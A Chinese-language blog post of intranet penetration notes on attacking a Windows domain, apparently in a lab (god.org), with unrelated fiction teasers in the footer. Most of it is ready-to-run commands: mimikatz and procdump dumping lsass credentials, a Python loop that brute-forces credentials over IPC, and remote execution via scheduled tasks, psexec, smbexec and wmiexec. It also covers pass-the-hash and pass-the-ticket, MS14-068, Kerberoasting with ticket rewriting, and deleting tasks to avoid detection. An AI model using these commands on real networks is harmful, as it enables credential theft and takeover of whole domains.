内网渗透笔记

1. 基本概念

1.1 工作组和域环境

  • 工作组:地位平等,管理分散, 如在局域网中的个人电脑
  • 域环境: 地位不平等, 实现集中管理

1.2 域控DC

域控DC是这个域环境中的管理者,域里面的最高权限,判断是否拿下整个域,就是看你是否拿下这台域控制器(这里面dc就是域控制器)

2. 内网渗透流程

  • 信息收集-后续探针-权限提升-横向渗透-权限维持

3. 内网信息收集常用命令

systeminfo 详细信息(操作系统版本、补丁编号等信息) 
net start    查看启动的服务 
tasklist 进程列表(查看当前主机开启了哪些进程) 
schtasks 计划任务(若报错无法加载列资源,说明你的权限不够,因此要提权才能使用该命令(注意计划任务是以system权限运行))
ipconfig /all 判断存在域-最简单方式查看主DNS后缀
net view /domain 判断存在域 
net time /domain 判断主域(主域就是域控的意思)【在域环境下查看当前时间】 此时返回的OWA2010CN-God.god.org就是域控的计算机全名。然后可以通过nslookup来最终确认域控IP 
slookup <域控制器全名> 追踪来源地址(我们可以通过nslookup和ping命令获取域控的对应ip地址,域控主机ip为3.21)
netstat -ano 当前网络端口开放(进程编号和本地端口) 
whoami /all 用户权限(组信息、特权信息、以及用户SID) 
net config workstation 登录信息 
net user 当前电脑里面的用户(本地用户)
net localgroup 本地用户组 
net user /domain 当前域里面的用户 
net group /domain 获取域用户组信息(域管理员、域控制器、域用户、企业管理员等等) 
wmic useraccount get /all 涉及域用户详细信息 
net group "Domain Admins" /domain 查询域管理员账户 
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器 

4. 凭据信息收集

4. 1 windwos密码获取---mimikatzs使用

  • mimikatz运行需要域管理员权限,域用户无法运行,因为权限不够
  • 使用命令
privilege::debug
sekurlsa::logonpasswords(本地管理员密码和域用户密码)

4.2 mimikatzs配合官方工具Procdump获取明文密码

Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump,将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。

  • 通过procdump获取用户信息文件lsass.dmp
procdump -accepteula -ma lsass.exe lsass.dmp
  • mimikatz:
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.3 Linux密码获取---mimipenguin

5. 域环境架构信息收集

5.1 探针域控制器名及地址信息

net time /domain
nslookup
ping 

5.2 探针域内存活(在线)主机及地址信息

  • 第三方工具 nbtscan 192.168.3.0/24类似于nmup,但是会标注域用户名和dc
  • for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="(用for循环去ping1-254网段的主机,这是自带内部命令,不会被杀毒软件拦截)
  • 其它探针方式如:nmap(易拦截)、masscan、第三方PowerShell脚本(windows的脚本开发语言)、nishang(推荐)、empire(推荐)

6. nishang框架的相关使用

#导入模块nishang
Import-Module .\nishang.psm1
#设置执行策略
Set-ExecutionPolicy RemoteSinged
#获取模块nishang的命令函数
Get-command -Module nishang
#获取常规计算机信息
Get-Information
# 调用mimikatz
Invoke-Mimikatz 
#端口扫描(查看目录对应文件有演示语法,其他同理)
Invoke-PortScan -StartAddress 192.168.3.21 -EndAddress 192.168.3.31 -ResolveHost -ScanPort(扫了两次崩了两次)

7. 域横向渗透

是建立在获取到明文和hash介质上的一种攻击

7.1 横向渗透明文传递ipc协议

获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当作用户字典->用到密码明文当作密码字典->尝试连接->创建计划任务(at|schtasks)->执行文件为后门或相关命令
利用流程:

  1. 建立IPC链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at,schtasks)
  4. 删除IPC链接
  • IPC相关命令
#建立ipc连接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内 
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享 
  • 连接上ipc后通过计划任务(at,schtasks)执行相关命令
# 上传一个添加用户的bat文件到远程主机
copy add.bat \\192.168.3.21\c$ 
# 添加定时任务执行
at \\192.168.3.21 12:15 c:\add.bat 
# 当Windows版本>=2012 时, 计划任务用schtasks创建
# 创建一个以system权限的,名为adduser的,时间为每日任务(延时执行),执行文件c:\add.bat的,计划任务
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F 
# 运行adduser任务
schtasks /run /s 192.168.3.32 /tn adduser
#为了不让对方发现,删除 adduser 任务
schtasks /delete /s 192.168.3.32 /tn adduser /f 

7.2 域横向渗透 明文/hash 传递--工具: impacket

  • 优点:密码可明文可hash,一句话命令,连接、提权全部搞定。
  • 缺点:第三方工具,非微软官方工具,易被杀毒软件查杀,实战中需要自己做一下免杀。
  • Impacket 是一个Python类库,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。 (对协议进行访问,可以改成exe文件)
  • 使用方法
# 尝试at命令的计划任务(2012版本以下)
# 连接域控本地administrator并执行定时任务(命令)
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
# 通过哈希密码连接
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

7.3 用收集到的明文密码横向爆破其他域主机

for ip in open("ips.txt"):
    for username in open("users.txt"):
        for password in open("passwords.txt"):
              exec1 = r"net use \\"+ip+r"\ipc$"+password+r"/user:"+username
              exec2 = r"net use \\"+ip+r"\ipc$"+password+r"/user:god\"+username
              print("exec1")
              os.system(exec1)
              print("exec2")
              os.system(exec2)
              sleep(1)

使用pyinstaller将py文件打包成exe文件

pyinstaller -F fuck_neiwang_001.py

7.4 横向渗透之smb&wmi协议

7.4.1 问题引入:

Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码.可以通过reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f修改该选项
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码.

7.4.2 解决思路:使用hash传递

Windows系统LM Hash及NTLM Hash两种hash加密算法. 系统在Windows 2003以后,认证方式均为NTLM Hash。

  1. 利用哈希hash传递(pth,ptk等)进行移动(不需要明文)
  2. 利用其它服务协议(SMB,WMI等)进行哈希移动
  3. 利用注册表操作开启Wdigest Auth值进行获取(想办法获取明文)
  4. 利用工具或第三方平台(Hachcat)进行破解获取(wdigest开启不了,在实战情况下会被杀毒软件查杀)

7.4.3 利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放

两种方式:
第一种使用微软官方工具:psexec工具(存在两种连接方式:1. 先有 ipc 链接,官方psexec 只能明文传递2. 不用建立IPC直接提供明文账户密码(推荐原因:建立IPC链接可能会失败))

1. 先建立ipc连接(密码是前期信息收集获取)
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd(发现为系统权限)
2.  第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s(系统权限) cmd(运行cmd)

第二种是使用第三方工具包impacket中的smbexec和psexec工具, impacket工具包(别人二次开发的)里面psexec.exe可以使用明文和hash传递

# 三方工具包中的psexec.exe支持hash传递(NTLM哈希值)
psexec.exe -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
# 连接域用户--明文
smbexec.exe god/administrator:Admin12345@192.168.3.21
# 连接本地用户--明文
smbexec ./administrator:admin!@#45@192.168.3.32
# 连接域用户--hash
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.32
# 连接本地用户--hash
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

7.4.4 域横向移动 之WMI 服务(端口135开放)

WMI(Windows Management Instrumentation) 是通过135 端口进行利用,支持用户名明文或hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。(这是一种服务)

  1. 自带 WMIC 明文传递(不支持hash)无回显, 可以将命令执行结果写入文件
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
  1. 自带cscript明文传递(不支持hash),有回显(需要wmiexec.vbs文件,不支持哈希,wmiexec.vbs文件较exe文件好免杀)
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
  1. 使用三方工具包impacket中的 wmiexec, 支持明文或hash传递,有回显exe版本(容易被杀)
明文本地用户
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"(或者"ipconfig")
hash本地用户
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
明文域环境用户
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
hash域环境用户
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

7.5 域横向渗透之PTH&PTK&PTT哈希票据传递

7.5.1名词解释

  • PTH(pass the hash) #利用lmHash(老版本哈希)或ntlmHash(新版本)的hash值进行的渗透测试(可打补丁kb2871997修补)
  • PTT(pass the ticket)#利用的票据凭证TGT进行的渗透测试(和加密算法不同的是,PTT采用的票据,使用Kerberos协议)
  • PTK(pass the key) #利用ekeys、aes256加密算法进行的渗透测试(适用对象:对于 8.1/2012r2,安装补丁kb2871997 Win 7/2008r2/8/2012等)

7.5.2 使用mimikatz进行PTH攻击

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash.由于目前大部分主机系统都很新,所以一般我们收集的都是NTLM数据,但是也不排除内网中有老系统,所以在信息收集的时候,最好LM和NTLM都收集一下。

privilege::debug
# 收集LM Hash及NTLM Hash
sekurlsa::logonpasswords
# 使用hash传递攻击--域类用户
sekurlsa::pth /user :administrator /domain:god /ntlm :ccef208c6485269c20db2cad21734fe7
# 使用hash传递攻击--本地用户
sekurlsa::pth /user :administrator /domain:workgroup /ntlm :ccef208c6485269c20db2cad21734fe7

7.5.3 使用mimikatz进行PTK攻击

打补丁后的工作组及域连接(注意,PTK只有打了补丁才能用)

privilege::debug
# 收集aes密码
sekurlsa::ekeys
# 使用aes256传递攻击--域类用户
sekurlsa::pth  /user:mary  /domain:god /aes256: d3444436d7b6c0b57a1cee8907d41fcbe35c3e46779eea77e6311c7df4aaa143

7.5.4 PTT(pass the ticket)

PTT攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:

  • MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)

其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁kb3011780

  1. MS14-068能实现普通用户直接获取域控system 权限
1. 查看凭证(相当于查看浏览器的cookie)
kerberos::list
2. 清空当前机器所有凭证
kerberos::purge  (或使用cmd命令 klist::purge)
3. 利用ms14-068 生成 TGT 数据(相当于伪造的cookie)会生成一个票据文件
ms14-068.exe -u 域成员名@域名 -s 当前域用户的sid -d 域控制器地址 -p 域成员密码
.\MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4. 用mimikatz将票据注入内存(类似将伪造的cookie注入浏览器)
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5. 再次查看内存中的票据(相当于浏览器里面有伪造的cookie了)
kerberos::list
6. 利用伪造的票据去连接域控主机(注意这里不能直接用ip,要用域控名)
dir \\OWA2010CN-God.god.org\c$

收集本地票据(需管理权限,类似cookie欺骗)

  1. 导出连接过的所有票据sekurlsa::tickets /export
  2. 清空票据 kerberos::purge
  3. 对导出的所有票据一个一个导入进行尝试 kerberos::ptt xxxxxxxxxx.xxxx.kirbi
  4. 尝试连接域控 dir \\OWA2010CN-God.god.org\c$

7.6 域横向渗透之RDP&SPN&CobaltStrike

7.6.1RDP协议连接

判断对方远程桌面服务是否开启(默认:3389),端口扫描判断。(在Linux上面就是通过Xshell连接的SSHxeiy协议,在windows上面就是类似Linux的RDP协议)

明文密码连接

  • mstsc
  • 命令行连接
windows: 
mstsc.exe /console /v:192.168.3.21 /admin
Linux:
rdesktop 192.168.3.21:3389

Hash连接

windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持

# cmd开启Restricted Admin mode
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
# 利用mimikatz适应hash连接远程桌面
privilege::debug
sekurlsa::pth user:administrator domain:god ntlm:55b05 "/run:mstsc.exe restrictedadmin"

7.6.2 域横向移动SPN服务-探针,请求,导出,破解,重写

服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称(唯一cookie的标识,类似于token)。则每个实例都必须具有自己的SPN.

利用思路:

  • spn扫描: SPN扫描不需要连接到网络上的每个IP来检查服务端口
#探针SPN服务((扫描全部,这里每个域用户对应的SPN服务都有))
setspn -q */*
# 查询特定服务如mssql
setspn -q */* | findstr "MSSQL"
# 在域Web上删除票据
klist purge
  • 请求域内其他主机服务票据(TGT), 并进行破解得到hash, 从而进行hash攻击
Add-Type -AssemblyName System.IdentityModel
# 请求fileserv.god.org主机1433端口的MSSQLSvc服务的票据
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/fileserv.god.org:1433"
# 利用miimiktz导出票据
kerberos::list /export

破解工具tgsrepcrack.py破解服务票据(python3环境)
重写票据(属于后续攻击,不一定会成功)

#重写票据并且赋予管理员权限
//这里是将名为1-40a00000-webadmin@MSSQLSvc~fileserv.god.org~1433-GOD.ORG.kirbi的票据进行重写为PENTESTLAB.kirbi
python kerberoast.py -p Password123 -r 1-40a00000-webadmin@MSSQLSvc~fileserv.god.org~1433-GOD.ORG.kirbi -w PENTESTLAB.kirbi -u 500
#重写票据并且赋予管理员组的权限(-g512指的是管理员组)
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
#利用mimikatz将票据注入内存(这个图是上一章PTT的内存注入)
mimikatz.exe kerberos::ptt xxxx.kirbi
#注入内存之后,就可以连接靶机了:
dir //xxx.xxx.xxx.xxx/c$(查看靶机c盘文件)

8. 内网渗透流程---CobaltStrike初体验

Cobalt Strike是一款渗透测试软件,分为N个客户端与1个服务端,可以进行团队分布式操作,是渗透红队的必备工具。Cobalt Strike集成了功能和模块:
1.端口转发
2.扫描多模式端口Listener
3.各木马生成
CS神器大概流程:启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透

内网渗透神器-ladon

总结

image.png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,658评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,482评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,213评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,395评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,487评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,523评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,525评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,300评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,753评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,048评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,223评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,905评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,541评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,168评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,417评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,094评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,088评论 2 352

推荐阅读更多精彩内容